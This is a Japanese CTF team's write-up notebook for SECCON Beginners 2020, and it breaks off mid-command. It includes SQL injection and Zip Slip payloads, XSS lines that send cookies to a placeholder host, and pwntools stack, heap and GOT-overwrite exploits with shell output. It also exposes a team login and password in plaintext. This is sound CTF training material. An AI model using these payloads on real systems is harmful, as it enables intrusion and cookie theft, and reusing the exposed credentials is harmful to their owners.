--- title: 'SECCON Beginners 2020' --- SECCON Beginners 2020 === ## Scorebord https://score.beginners.seccon.jp/scoreboard ## Table of Contents [TOC] ## アカウント情報 >ID : katagaitai >PW : v2oo#YBrZK2e 個人アカウント登録後Joinしてください。 ## テンプレート ``` ------------------------------------------------------------------- ### ジャンル - 問題名 #### 問題 :::info 問題内容 [text](https://example.com/challenge.zip) ::: #### フラグ `flag` #### 解説 ``` # 問題 ------------------------------------------------------------------- ## Web ### Web - Spy #### 問題 :::info As a spy, you are spying on the "ctf4b company". You got the name-list of employees and the [URL](https://spy.quals.beginners.seccon.jp/) to the in-house web tool used by some of them. Your task is to enumerate the employees who use this tool in order to make it available for social engineering. [app.py](https://score.beginners.seccon.jp/files/app.py-eebd3e0541ea83ea360fa650164a231ffe410ece) [employees.txt](https://score.beginners.seccon.jp/files/employees.txt-c8eb600b89a185e33b6ad279b5f3b513d41b7302) ::: #### フラグ `ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}` #### 解説 ログイン機能とユーザ一覧が記載されたチャレンジ画面があるflaskアプリ。 よくあるrender_html悪用かなーと思ったが、特にrender_htmlにユーザリクエスト内容等を喰わせるポイントはない模様。 以下の箇所にコメントがあり、ヒントに見受けられる。 ```python # auth.calc_password_hash(salt, password) adds salt and performs stretching so many times. # You know, it's really secure... isn't it? :-) hashed_password = auth.calc_password_hash(app.SALT, password) if hashed_password != account.password: return render_template("index.html", message="Login failed, try again.", sec="{:.7f}".format(time.perf_counter()-t)) session["name"] = name return render_template("dashboard.html", sec="{:.7f}".format(time.perf_counter()-t)) ``` そして、画面下に必ずでる秒数が気になる。 これはハッシュ計算にかかる時間の差異でユーザの有無を明らかにするサイドチャネル攻撃(Timing Attack)が効く画面の模様。 ユーザ一覧のユーザ名を片っ端から入れていくと、ユーザによってレスポンスタイムに大きな差異があることがわかる。 レスポンスが遅いユーザを洗い出し、チャレンジ画面で選択すると、フラグが手に入る。 ------------------------------------------------------------------- ### Web - TweetStore #### 問題 :::info Search your flag! Server: https://tweetstore.quals.beginners.seccon.jp/ File: https://score.beginners.seccon.jp/files/tweetstore.zip-ba4fce11c55ef57568fbca33f73c5ce022cad1c2 ::: #### フラグ `ctf4b{is_postgres_your_friend?}` #### 解説 FLAGの場所はdbのusername(OSの環境変数)と思われる。 ``` GO dbuser := os.Getenv("FLAG") ``` LIKE句からシングルクォートを除いてそのまま渡している箇所が怪しい。 ``` GO sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'" ``` `' or 1=1 -- `が通った。`limit`は使わない unionさくっと ``` https://tweetstore.quals.beginners.seccon.jp/?search=\\' and 1=0 union select url, user, tweeted_at from tweets limit 1 --&limit=# ``` ------------------------------------------------------------------- ### Web - unzip #### 問題 :::info Unzip Your .zip Archive Like a Pro. https://unzip.quals.beginners.seccon.jp/ Hint: [index.php (sha1: 968357c7a82367eb1ad6c3a4e9a52a30eada2a7d)](https://score.beginners.seccon.jp/files/index.php-968357c7a82367eb1ad6c3a4e9a52a30eada2a7d) Hint (updated at 5/23 17:30) [docker-compose.yml](https://score.beginners.seccon.jp/files/docker-compose.yml-591e0b33b6a4485d7f6518c7efee547fad257ea2) ::: #### フラグ `ctf4b{y0u_c4nn07_7ru57_4ny_1npu75_1nclud1n6_z1p_f1l3n4m35}` #### 解説 Zip Slip脆弱性.こんな風に`../../flag.txt`を含めたzipを作れば良い. ``` 0000h: 50 4B 03 04 14 00 00 00 00 00 63 8D B7 50 00 00 PK........c..P.. 0010h: 00 00 00 00 00 00 00 00 00 00 0E 00 00 00 2E 2E ................ 0020h: 2F 2E 2E 2F 66 6C 61 67 2E 74 78 74 50 4B 01 02 /../flag.txtPK.. 0030h: 14 03 14 00 00 00 00 00 63 8D B7 50 00 00 00 00 ........c..P.... 0040h: 00 00 00 00 00 00 00 00 0E 00 00 00 00 00 00 00 ................ 0050h: 00 00 00 00 A4 81 00 00 00 00 2E 2E 2F 2E 2E 2F ............/../ 0060h: 66 6C 61 67 2E 74 78 74 50 4B 05 06 00 00 00 00 flag.txtPK...... 0070h: 01 00 01 00 3C 00 00 00 2C 00 00 00 00 00 ....<...,..... ``` > 以下のスクリプト使うと簡単に攻撃用ZIPファイルが出来る。 > https://github.com/ptoomey3/evilarc ------------------------------------------------------------------- ### Web - Profiler #### 問題 :::info Let's edit your profile with [profiler](https://profiler.quals.beginners.seccon.jp/)! Hint: You don't need to deobfuscate *.js Notice: Server is periodically initialized. ::: #### フラグ `ctf4b{plz_d0_n07_4cc3p7_1n7r05p3c710n_qu3ry}` #### 解説 ------------------------------------------------------------------- ### Web - Somen #### 問題 :::info Somen is tasty. https://somen.quals.beginners.seccon.jp Hint: [worker.js (sha1: 47c8e9c879e2a2fb2e5435f2d0fcfaa274671f43)](https://score.beginners.seccon.jp/files/worker.js-47c8e9c879e2a2fb2e5435f2d0fcfaa274671f43) [index.php (sha1: dffac56c2435b529e1bb60c6f71803aded2051af)](https://score.beginners.seccon.jp/files/index.php-dffac56c2435b529e1bb60c6f71803aded2051af) ::: #### フラグ `ctf4b{1_w0uld_l1k3_70_347_50m3n_b3f0r3_7ry1n6_70_3xpl017}` #### 解説 CSP問題。以下のようなCSPヘッダが付いてくる。 ``` Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A=' ``` * default-srcがnoneでDefault Deny、script-srcで動かせるスクリプトを指定。 * nonceは乱数値。(過去nonce値が推測できる問題もあった気がしたが、今回は乱数で無理) * strict-dynamicでnonceスクリプト内にスクリプトを注入できる事がわかる。 * SRI値は固定で与えられていていじれない。 * このスクリプトは入力値チェックで、不正値を読み込むとエラー画面に飛ばしてしまう。 SRIが指定されたスクリプトは不正パラメータチェックなので読み込まれたくない。 過去LinkタグでPreloadさせる[問題](https://github.com/lbherrera/writeups/tree/master/pwn2win-2019/calc)があったのでトライしたがうまく動かない。 しょうがないので試行錯誤してXSSで先にニセSRI値の同名スクリプトを読み込ませようとし、SRI値チェックで失敗させてバイパス。 > 試行錯誤してしまったが、どうも想定解はbaseタグだった模様。 > 例:`<base href="https://example.com">` > 私の例はFirefoxとかで使えないので、イマイチだった。 > さらに閉じないimgタグなどでscriptタグを無効にしたWrite-upもあった。 `nonce`の方はCSPのstrict-dynamicにより`nonce`指定されたスクリプト内にスクリプトを書くことが出来るので、スクリプト内容を解釈して指定されたid値を悪用してDOM XSSする。今回はidがmessageのタグに入力値を書き込めるので、スクリプトを流し込む。 これまでの2条件を満たす入力値は以下のようになる。 ``` location.href='http://[飛ばし先]/?'+document.cookie//</title><script id="message"></script><script src="/security.js" integrity="sha256-1"> ``` 前半のDOM XSS用スクリプトで外部にリクエストを飛ばす。JSのコメント(//)で区切った後半に、DOM XSSの書き込み先とニセSRI値を含めたHTMLタグを入れる。 ##### 別解 ``` import(`//[飛ばし先]/?${document.cookie}`)//</title><script id="message"></script><img src="http://example.com/?x= ``` ``` document.location=`http://[飛ばし先]/?q=${encodeURIComponent(document.cookie)}`; // </title><script id="message"></script><base href="http://example.com"> ``` #### Write-Up * imgタグの例 https://qiita.com/hi120ki/items/e42f42f197564a2ac07d * 5minworkersのWrite-up(分かりやすい) https://www.ryotosaito.com/blog/?p=474 * 作問者 https://diary.shift-js.info/seccon-beginners-ctf-2020/ ------------------------------------------------------------------- ## Pwn ### Pwn - Beginner's Stack #### 問題 :::info Let's learn how to abuse [stack overflow](https://score.beginners.seccon.jp/files/bs.zip-b49953ea892160aa1357e24b8e363f3ea0fd40ad)! nc bs.quals.beginners.seccon.jp 9001 ::: #### ファイル [file](https://gist.github.com/okupay/9c3ee68a04b4a4ffa542d4865634c4e0#file-bs-zip-b49953ea892160aa1357e24b8e363f3ea0fd40ad) #### フラグ `ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}` #### 解説 ただwin関数に飛ばすだけだとsystem関数実行時のrspのアライメントでエラーが出るようなので(教えてくれる。)8byte下げた位置にwin_addrを置く。 ```python import sys import logging from pwn import * logging.basicConfig(level=logging.INFO, format="%(message)s") #logging.disable(logging.CRITICAL) if len(sys.argv) == 2: program_name = sys.argv[1] target = process(program_name) logging.info("***local exploit ***") else: HOST = sys.argv[1] PORT = int(sys.argv[2]) logging.info("***remote exploit ***") logging.info("[*]target host : " + HOST) logging.info("[*]target port : " + str(PORT)) target = remote(HOST, PORT) ###address### win_addr = 0x400861 ret_addr = 0x400860 def main(): ###payload### payload = b"A" * 40 payload += p64(ret_addr) #ただwin関数に飛ばすだけだとsystem関数実行時のrspのアライメントでエラーが出るようなので(エラーで教えてくれる。)8byte下げた位置にwin_addrを置く。 payload += p64(win_addr) payload += b"C" * 8 target.sendlineafter("Input:", payload) ret = target.recv(2048) print(ret) target.interactive() if __name__ == "__main__": main() ``` また、RSPのアドレスが16の倍数になればよいので、win関数内先頭のpushをすっ飛ばすことでも可能。 ------------------------------------------------------------------- ### Pwn - Beginner's Heap #### 問題 :::info Let's learn how to abuse heap overflow! nc bh.quals.beginners.seccon.jp 9002 ::: #### フラグ `ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}` #### 解説 チュートリアル形式?のHeap問。 ``` Let's learn heap overflow today You have a chunk which is vulnerable to Heap Overflow (chunk A) A = malloc(0x18); Also you can allocate and free a chunk which doesn't have overflow (chunk B) You have the following important information: <__free_hook>: 0x7f774ef3b8e8 <win>: 0x56066ee29465 Call <win> function and you'll get the flag. 1. read(0, A, 0x80); 2. B = malloc(0x18); read(0, B, 0x18); 3. free(B); B = NULL; 4. Describe heap 5. Describe tcache (for size 0x20) 6. Currently available hint ``` heapの操作として可能なのは 1. オブジェクトA(malloc済みオーバーフローの脆弱性有)への書き込み 2. オブジェクトBの生成(malloc)+書き込み 3. オブジェクトBの解放 の3つのみ。 選択肢の4,5を使用すれば毎回heapの状態とtchacheの状態を表示可能。 ``` > 4 -=-=-=-=-= HEAP LAYOUT =-=-=-=-=- [+] A = 0x56066f078330 [+] B = (nil) +--------------------+ 0x000056066f078320 | 0x0000000000000000 | +--------------------+ 0x000056066f078328 | 0x0000000000000021 | +--------------------+ 0x000056066f078330 | 0x6161616161616161 | <-- A +--------------------+ 0x000056066f078338 | 0x000000000000000a | +--------------------+ 0x000056066f078340 | 0x0000000000000000 | +--------------------+ 0x000056066f078348 | 0x0000000000020cc1 | +--------------------+ 0x000056066f078350 | 0x0000000000000000 | +--------------------+ 0x000056066f078358 | 0x0000000000000000 | +--------------------+ 0x000056066f078360 | 0x0000000000000000 | +--------------------+ 0x000056066f078368 | 0x0000000000000000 | +--------------------+ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 1. read(0, A, 0x80); 2. B = malloc(0x18); read(0, B, 0x18); 3. free(B); B = NULL; 4. Describe heap 5. Describe tcache (for size 0x20) 6. Currently available hint > 5 -=-=-=-=-= TCACHE -=-=-=-=-= [ tcache (for 0x20) ] || \/ [ END OF TCACHE ] -=-=-=-=-=-=-=-=-=-=-=-=-=-= ``` 方針としてはtcacheに対してunlink attackを行い、__free_hookの関数ポインタをwin関数に書き換えればよい。 そもそもtcacheがよくわかっていなかったが[Tcache](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/implementation/tcache/)を参考にした。 要はスレッドごとに保有する一方向のfree-listで、領域のサイズごとにリストが作られるっぽい。 今回の問題で表示されているのは0x20バイトの領域を持つチャンクのリスト。 流れとしては以下のような感じ 1. Bを生成後freeするとBのチャンクがTcacheにリンクされる。 2. Aへの書き込みでオーバーフローを起こしBのfdを書き換えると、書き込まれたアドレスもTchacheにリンクされる。(今回はfdのアドレスをfree_hookのアドレスに書き換える。) 3. 再度Bをmallocすることで、Tcacheの先頭にfree_hookのアドレスが来る。 本来はここまでくれば適当にmalloc⇒readすればfree_hookのアドレスを上書きできるが、他のオブジェクトの生成が選択しとして存在しないうえにBは生成済みなのでmallocができない。 また、そのままBをfreeしてしまうとfree_hookの前にリンクされてしまうため、次mallocしても普通にBが生成されてしまうだけになる。 つまり、攻撃を成功させるにはうまいことチャンクBをfree時に別のリストにリンクする必要がある。 以下続き↓ 4. 再度Aへの書き込みでオーバーフローを起こし、Bのサイズを0x21からより大きなサイズ(今回は0x401にした。)に書き換える。 5. BをfreeするとBは別のサイズ専用のTcacheにキャッシュされる。 6. 再度Bをmallocするとfree_hookの関数ポインタが返ってくるので、そこにreadにてwin関数のアドレスを書き込む。 ```python import sys import logging from pwn import * logging.basicConfig(level=logging.INFO, format="%(message)s") logging.disable(logging.CRITICAL) if len(sys.argv) == 2: program_name = sys.argv[1] target = process(program_name) logging.info("***local exploit ***") else: HOST = sys.argv[1] PORT = int(sys.argv[2]) logging.info("***remote exploit ***") logging.info("[*]target host : " + HOST) logging.info("[*]target port : " + str(PORT)) target = remote(HOST, PORT) ###main### def main(): _ = target.readuntil("<__free_hook>: ") free_hook_addr = int(target.readline()[2:-1], 16) _ = target.readuntil("<win>: ") win_addr = int(target.readline()[2:-1], 16) logging.info("[*] free_hook addr = 0x{:x}".format(free_hook_addr)) logging.info("[*] win addr = 0x{:x}".format(win_addr)) _ = target.readuntil("> ") _ = target.readuntil("> ") target.sendline("1") target.sendline(b"AAAAAAAA") _ = target.readuntil("> ") target.sendline("2") target.sendline(b"BBBBBBBB") _ = target.readuntil("> ") target.sendline("4") logging.info(target.readuntil("> ")) target.sendline("5") logging.info(target.readuntil("> ")) target.sendline("3") payload1 = b"A" * 8 payload1 += p64(0x0a) payload1 += p64(0x00) payload1 += p64(0x20cc1) payload1 += p64(free_hook_addr) _ = target.readuntil("> ") target.sendline("1") target.sendline(payload1) _ = target.readuntil("> ") target.sendline("4") logging.info(target.readuntil("> ")) target.sendline("5") logging.info(target.readuntil("> ")) target.sendline("2") target.sendline(b"BBBBBBBB") payload2 = b"A" * 8 payload2 += p64(0x0a) payload2 += p64(0x00) payload2 += p64(0x401) _ = target.readuntil("> ") target.sendline("1") target.sendline(payload2) _ = target.readuntil("> ") target.sendline("3") _ = target.readuntil("> ") target.sendline("4") logging.info(target.readuntil("> ")) target.sendline("5") logging.info(target.readuntil("> ")) target.sendline("2") target.sendline(p64(win_addr)) _ = target.readuntil("> ") target.sendline("3") print(target.readline()) print(target.readline()) if __name__ == "__main__": main() ``` ------------------------------------------------------------------- ### Pwn - Elementary Stack #### 問題 :::info Do you really understand [stack](https://score.beginners.seccon.jp/files/es.zip-f8fbb3293cf9cd4fca13c3f5371a05a4352f9ab9)? nc es.quals.beginners.seccon.jp 9003 ::: #### ファイル [file](https://gist.github.com/okupay/9c3ee68a04b4a4ffa542d4865634c4e0#file-bs-zip-b49953ea892160aa1357e24b8e363f3ea0fd40ad) #### フラグ `ctf4b{4bus1ng_st4ck_d03snt_n3c3ss4r1ly_m34n_0v3rwr1t1ng_r3turn_4ddr3ss}` #### 解説 ![](https://i.imgur.com/krv7zTH.png) ![](https://i.imgur.com/P2MYULz.png) スタック上のバッファから相対的に,任意のインデックスに任意の値を書き込めるのがバグ(というか仕様). まず`x[-2]=atoi@got-3`とするとスタック上の`heap_ptr`が書き換えられる. (`atoi@got`ではなく`atoi@got-3`なのは,後でバッファ先頭に`"sh;"`を入れるため) 次は`readlong()`中に`"sh;"+"systemの下2バイト"`を送る.これにより`atoi@got`は`system()`になる.但し送ったバッファ全体では`"sh;"`で始まるので,`atoi()`への第一引数はシェルを開く文字列となる. `atoi()`と`system()`は`libc`内でそれほど離れてないので、下2バイトの`partial overwrite`により`1/16`の確率で差し替えが成功する. ``` root@Ubuntu1804-64:~/a# (echo '-2'; sleep 1; echo 6295613; sleep 1 ; echo -ne 'sh;\x40\xf4'; cat)|nc es.quals.beginners.seccon.jp 9003 index: value: x[-2] = 6295613 index: id uid=999(pwn) gid=999(pwn) groups=999(pwn) ls chall flag.txt redir.sh cat flag.txt ctf4b{4bus1ng_st4ck_d03snt_n3c3ss4r1ly_m34n_0v3rwr1t1ng_r3turn_4ddr3ss} ^C root@Ubuntu1804-64:~/a# ``` ------------------------------------------------------------------- ### Pwn - ChildHeap #### 問題 :::info Last year, I was a baby... [file](https://score.beginners.seccon.jp/files/childheap.zip-d49af78f2242d8439741d914b5384b90f364e86b) nc childheap.quals.beginners.seccon.jp 22476 ::: #### フラグ `ctf4b{h34p_h45_gr0wn_1n70_4_ch1ld...r34lly??}` #### 解説 glibc-2.29なのでUbuntu19.04.バグは以下の通りで4つある. ![](https://i.imgur.com/pOysMXt.png) ![](https://i.imgur.com/eumBPAI.png) 最初に考えていた方針は下記の通り. ``` childheap 脳内exploit (1) 以下を7回繰り返す 0x180の直上にくるバッファを用意するため, X(最初0x10、以後0x10ずつ大きくして既存のtcacheから確保しないようにする)確保、解放 0x180確保、解放(0x180のtcacheにつながる) tcacheからXを確保してBOFで直下のサイズを0x180->0x100へ更新、解放 0x180確保(0x180のtcacheから確保される)、解放(0x100のtcacheにつながる) ※一度だけ、ここで2.freeを選択して、ヒープリークしてからnする 7回繰り返すと,0x100のtcacheリストがフルになる (2) fastbinを作る 0x80確保、解放(0x180の直上バッファ) 0x180確保、解放(0x180のtcacheにつながる) 0x80確保してBOFで直下のサイズを0x180->0x100へ更新、解放⭐︎ 0x180確保(0x180のtcacheから確保されるが、既にサイズは0x100)、解放(0x100のtcacheがいっぱいなので、fastbinに繋がれる)★ (3) malloc->wipeで無駄にヒープを消費する (4) consolidate 0x180確保(topから確保される)が、ヒープ消費によりtopの残りサイズが不十分な場合 先にmalloc_consolidate()が走る consolidate対象のチャンクは★一つ(0x100)だが、 この時直前のチャンク(0x80)の一部を巻き込んで併合する。 つまりtcacheに繋がってる⭐︎を巻き込める。 巻き込んだ後のサイズが0x180になるため、このチャンクが返る。 このチャンクは0x80サイズのtcacheにもまだ繋がったままなので、共有状態が発生する。 0xa0サイズのfdを弄れるので、そこから任意のメモリRWに繋げることができる。 ``` 実際にやってみたら,(2)の時点でconsolidateが起きたので,(3)(4)は不要となった. ソルバ https://gist.github.com/bata24/f9937ea5b007abc95ebb0da0cf40fe50 ------------------------------------------------------------------- ### Pwn - flip #### 問題 :::info filp, and flip!! [file](https://score.beginners.seccon.jp/files/flip.zip-082891815c7bcc6c3936f420d9cd5035bdec14c5) nc flip.quals.beginners.seccon.jp 17539 ::: #### フラグ `ctf4b{l34d_b17fl1p_70_5h3ll!}` #### 解説 ![](https://i.imgur.com/KAZzpum.png) ![](https://i.imgur.com/XYOlhew.png) ![](https://i.imgur.com/Q1Ehc2Z.png) 非常にシンプルなつくりで,2度のビットフリップを起こしてexit()する. まずはexit()しないようにしたいので,`exit@got`を`_start+6`に向ける. ![](https://i.imgur.com/K0VixgP.png) ![](https://i.imgur.com/EBwqbvL.png) これで任意の回数だけビットフリップを起こせるようになった.尚,ビットフリップ位置の指定時に`-1`を入力すると,ビットフリップさせずに先へ進むこともできる.これはsignedな比較なためチェックをすり抜け,`shl`により`1<<0xffffffff`は溢れて`0`になるからである. ![](https://i.imgur.com/PKNTfCe.png) ![](https://i.imgur.com/eJZGasZ.png) ここから色々頑張ったが解けなかった.以下はWrite-upを参考にしたソルバ. https://gist.github.com/bata24/8f2ad8235e24ef7f7983d3c2fcc667c6 公式Write-up: http://shift-crops.hatenablog.com/entry/2020/05/24/211147 別解: https://ptr-yudai.hatenablog.com/entry/2020/05/24/174914#flip ------------------------------------------------------------------- ## Crypto ### Crypto - R&B #### 問題 :::info Do you like rhythm and blues? [r_and_b.zip](https://score.beginners.seccon.jp/files/r_and_b.zip-3c965d79a28098376459eb30aa20fe274e4be833) ::: #### フラグ `ctf4b{rot_base_rot_base_rot_base_base}` #### 解説 ------------------------------------------------------------------- ### Crypto - Noisy equations #### 問題 :::info noise hides flag. nc noisy-equations.quals.beginners.seccon.jp 3000 [noisy-equations.zip](https://score.beginners.seccon.jp/files/noisy-equations.zip-1e4ea5b4b3cf867f78293c35a30dc4bf746a8834) ::: #### フラグ `ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}` #### 解説 ``` NxN行列 1xN行列 1xN行列 1xN行列 [ ̄ ̄ ̄ ̄ ̄ ̄ ̄] [ F ] [R1] [ans1] [ coeff ] [ L ] [R2] [ans2] [ coeff ] [ A ] [R3] [ans3] [ coeff ] × [ G ] + [R4] = [. ] [ ] [ . ] [. ] [. ] [ ] [ . ] [. ] [. ] [____________] [ . ] [. ] [. ] N=44.coeff, ansは既知なので,未知変数は,FLAG44個,乱数44個の合計88個. coeff 1つあたりを取り出してみてみると [ F ] [ L ] [ A ] [ coeff ] × [ G ] + [R1] = [ans1] [ . ] [ . ] [ . ] となり,式が1つ成り立つ. 1回の接続で44個の式が得られる. 2回の接続で88個の式が得られる. 88個の式があれば,未知変数88個の連立方程式が解読できるはず. ``` 以下ソルバ.方程式の求解はsageを使うと便利. https://gist.github.com/bata24/2dfdf5a1dab7cdd0107ee467bcef383d ------------------------------------------------------------------- ### Crypto - RSA Calc #### 問題 :::info F(1337)=FLAG! nc rsacalc.quals.beginners.seccon.jp 10001 [rsacalc.zip](https://score.beginners.seccon.jp/files/rsacalc.zip-eb42c1f3f5f99f003505891523634f03a6a5ec0f) ::: #### フラグ `ctf4b{SIgn_n33ds_P4d&H4sh}` #### ```python from Crypto.Util.number import * import sys import logging from pwn import * import binascii logging.basicConfig(level=logging.INFO, format="%(message)s") #logging.disable(logging.CRITICAL) if len(sys.argv) == 2: program_name = sys.argv[1] target = process(program_name) logging.info("***local exploit ***") else: HOST = sys.argv[1] PORT = int(sys.argv[2]) logging.info("***remote exploit ***") logging.info("[*]target host : " + HOST) logging.info("[*]target port : " + str(PORT)) target = remote(HOST, PORT) plain_text = b"1300,37,+,F" def main(): _ = target.recvuntil("N: ") N = int(target.recvline()[:-1], 10) print("[*] modulus : {}".format(N)) _ = target.recvuntil("> ") target.sendline("1") _ = target.recvuntil("data> ") print(bytes_to_long(plain_text)) target.sendline(long_to_bytes(bytes_to_long(plain_text) / 2)) _ = target.recvuntil("Signature: ") sig_1 = int(target.recvline()[:-1], 16) print("[*] sig 1 is {:x}".format(sig_1)) _ = target.recvuntil("> ") target.sendline("1") _ = target.recvuntil("data> ") target.sendline(long_to_bytes(2)) _ = target.recvuntil("Signature: ") sig_2 = int(target.recvline()[:-1], 16) print("[*] sig 2 is {:x}".format(sig_2)) signature = (sig_1 * sig_2) % N _ = target.recvuntil("> ") target.sendline("2") _ = target.recvuntil("data> ") target.sendline(plain_text) _ = target.recvuntil("signature> ") target.sendline(binascii.hexlify(long_to_bytes(signature)).decode()) print(target.recvline()) if __name__ == "__main__": main() ``` ------------------------------------------------------------------- ### Crypto - Encrypter #### 問題 :::info 暗号化できるサービスを作ってみました! http://encrypter.quals.beginners.seccon.jp/ ::: #### フラグ `ctf4b{p4d0racle_1s_als0_u5eful_f0r_3ncrypt10n}` #### 解説 AES-128-CBCのパディングオラクル攻撃? ------------------------------------------------------------------- ### Crypto - C4B #### 問題 :::info Are you smart? http://c4b.quals.beginners.seccon.jp/ ::: #### フラグ `ctf4b{c4b_me4ns_c0ntract4beg1nn3rs}` #### 解説 Ropstenネットワーク(公開テスト用ネットワーク)上の,Ethreumのスマートコントラクト問題. 事前準備として,Chromeでスマートコントラクトを操作するためには,アドオンとしてMetamaskのインストールが必要なので,入れておく事.これはEthereumネットワーク(本番用,公開テスト用,ローカル,など色々繋げる)に接続するためのアドオンである. またついでなので書いとくと,Metamaskではデプロイやストレージの読み書きを伴う関数を呼び出す場合に,必ずGasを使う.Gasとはスマートコントラクトにおけるお金のことで,本番ネットワークでは仮想通貨Ethereumのことである.Ropstenネットワークでは,これを無料で手に入れることができる(フォーセットと呼ばれる仕組みを使って1 Etherずつ入手することができる). さてMetamaskをインストールし,(Metamaskのアカウント作成時に一緒に作られたウォレットに)いくらかのGasを持っている状態で,問題ページのDeployボタンを押すと,Metamaskとの連携確認のあとに,挑戦者固有のコントラクトが作られ,アドレスが表示される.私の場合は`0xd917c288C33c2C896dc200B3a16F96174ce7D8da`であった. ![](https://i.imgur.com/RT3mbma.png) このコントラクトはRopstenネットワークにデプロイされているので,アドレスがあれば外部公開されている関数を呼び出すことができる. このコントラクトに存在する,外部公開されている関数(`public`属性がある)は1つで,`check()`である. ``` pragma solidity >= 0.5.0 < 0.7.0; contract C4B { address public player; bytes8 password; bool public success; event CheckPassed(address indexed player); constructor(address _player, bytes8 _password) public { player = _player; password = _password; success = false; } function check(bytes8 _password, uint256 pin) public returns(bool) { uint256 hash = uint256(blockhash(block.number - 1)); if (hash%1000000 == pin) { if (keccak256(abi.encode(password)) == keccak256(abi.encode(_password))) { success = true; } } emit CheckPassed(player); return success; } } ``` どうやら,`pin`と`password`を当てればいいらしい. まず`pin`だが,これは`blockhash`や`block.number`から生成されている.これらの値は,Ropstenネットワーク上で刻一刻と変わるので,静的に計算することはできない.これを解決するには,こちらもネットワーク上にコントラクト(名前を`Exploit`とした)をデプロイし,その中で動的に計算させ,この`Exploit`コントラクトから,挑戦者固有のコントラクト(`0xd917c288C33c2C896dc200B3a16F96174ce7D8da`)へ値を投げれば良い.同じネットワーク上にいれば,これらの値は同期がとれるからだ. 次に`password`だが,`constructor()`に渡された値である.これは挑戦者固有のコントラクト(`0xd917c288C33c2C896dc200B3a16F96174ce7D8da`)のデプロイ時に渡される値であり,謎の8バイトだ.しかしコントラクト上に保存された値は,コントラクトのストレージに必ず存在するので(存在しないと比較すらできない)外部から無理やり読み出すことができる.これはEthernautの`Vault`と呼ばれる問題と本質的に同じものであり,以下のコマンドで読み出すことができる.但し,普通のWebページでは,`web3`モジュールが読み込まれていないので実行することはできない.Ethernautのページを開いて,Playしてから実行すると良い.EthernautはRopstenネットワーク上に繋がったコントラクトに対する攻撃を試すことのできる,CTFライクな教育用コンテンツである. https://ethernaut.openzeppelin.com/ ``` F12のコンソールで次のコマンドを実行 web3.eth.getStorageAt("0xd917c288C33c2C896dc200B3a16F96174ce7D8da", 0, function(e,d) {result=d}); result "0x000000005832e2da286910e50f7e09f9c881410e7205d29ffd532c6f80dd2e0f" <- 上位8バイト分がパスワード ``` これで`password`と`pin`が揃ったので,あとは`Exploit`コントラクトを作ってRopstenネットワークにデプロイすれば良い.デプロイするにはRemixを使う.RemixはMetamaskと連携して,Ethereumネットワーク(本番,Ropsten,ローカル)にコントラクトをデプロイすることのできるWeb IDEだ. http://remix.ethereum.org/ コントラクトを作るには`solidity`と呼ばれる言語で記述する必要があるが,これは過去にやったことがあったので難しくはなかった.雛形はkatagaitai wikiの「使えるネタ Ethereum編(bata)」においてある. 実際に書くとこんな感じになる(これはデプロイ画面). ![](https://i.imgur.com/yFVXqlp.png) `Exploit`コントラクトのソース: https://gist.github.com/bata24/435036213680ba4e67e200a14062809c 全体感 ``` +-------------------------------------------------------------------+ | ropsten network | | | | SECCONビギナーズ運営が作成 私が作成 | | +------------------------+ +------------------------+ | +------------------------------------+ | |挑戦者固有のコントラクト | |Exploitコントラクト | <----- deploy ------ |私のウォレット | | | 0xd917c288C33... | | 0x0B6... | | | 事前にmetamaskで作成済 | | | | | | <-- call attack() -- | faucetにより事前にEther(GAS)取得済 | | |password=... | |_target=0xd917c288C33...| | +------------------------------------+ | +------------------------+ +------------------------+ | | | +-------------------------------------------------------------------+ ~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ passwordはソース上不明だが, この部分はRemix上で開発/デプロイ/callすると便利 コントラクト内に値がある筈 →Ethernautのweb3モジュール で読取可能 ``` あとは,このコードを最左ペインからコンパイルして,デプロイすれば良い.デプロイするときに,今回の問題における攻撃対象のコントラクト(問題ページで挑戦者固有のコントラクトが生成されていて,私の場合は`0xd917c288C33c2C896dc200B3a16F96174ce7D8da`だった)を指定しながらデプロイする(`Exploit`コントラクトは,デプロイ時に攻撃対象を指定できるよう作ってある). デプロイ後,外部から`attack()`関数を呼び出せば,動的に`blockhash`や`block.number`が計算され,挑戦者固有のコントラクトの`check()`関数を呼び出し,`success = 1`にしてくれる. ![](https://i.imgur.com/b5FsQmR.png) 最後にC4Bのメインページに戻り,submitボタンを押すと画面が再描画され,`0xd917c288C33c2C896dc200B3a16F96174ce7D8da`の内部変数である`success`が`1`であることを確認された結果,成功しているのでフラグが表示される. ![](https://i.imgur.com/RVLha2C.png) ------------------------------------------------------------------- ## Reversing ### Reversing - mask #### 問題 :::info The price of [mask](https://score.beginners.seccon.jp/files/mask.zip-c9da034834b7b699a7897d408bcb951252ff8f56) goes down. So does the point (it's easy)! (SHA-1 hash: c9da034834b7b699a7897d408bcb951252ff8f56) ::: #### フラグ `ctf4b{dont_reverse_face_mask}` #### 解説 flagの文字列がmaskしてあり、2回文字列比較してある。2回の文字列比較を満たす文字列がflag ![](https://i.imgur.com/esoPi2h.png) ------------------------------------------------------------------- ### Reversing - yakisoba #### 問題 :::info Would you like to have a [yakisoba code](https://score.beginners.seccon.jp/files/yakisoba.zip-89427fb3fcbd8451e4d0d689def18bbe2703b41f)? (Hint: You'd better automate your analysis) ::: #### フラグ `ctf4b{sp4gh3tt1_r1pp3r1n0}` #### 解説 ひたすら分岐を読み解くと導ける. 上から下へは大変だけど、返り値が0になるGoalを最初に特定して、そこから上へ上へと辿るとそこまで大変でもなかった ![](https://i.imgur.com/tcZtGFY.png) ------------------------------------------------------------------- ### Reversing - ghost #### 問題 :::info [A program](https://score.beginners.seccon.jp/files/ghost.zip-21e059132135e596b16f8156efe459545573db7') written by a ghost 👻 ::: #### フラグ `ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}` #### 解説 gs (ghost script)を使ったcrackme.私の環境では実行するのにGUIが必要だった. `echo ... | gs -q 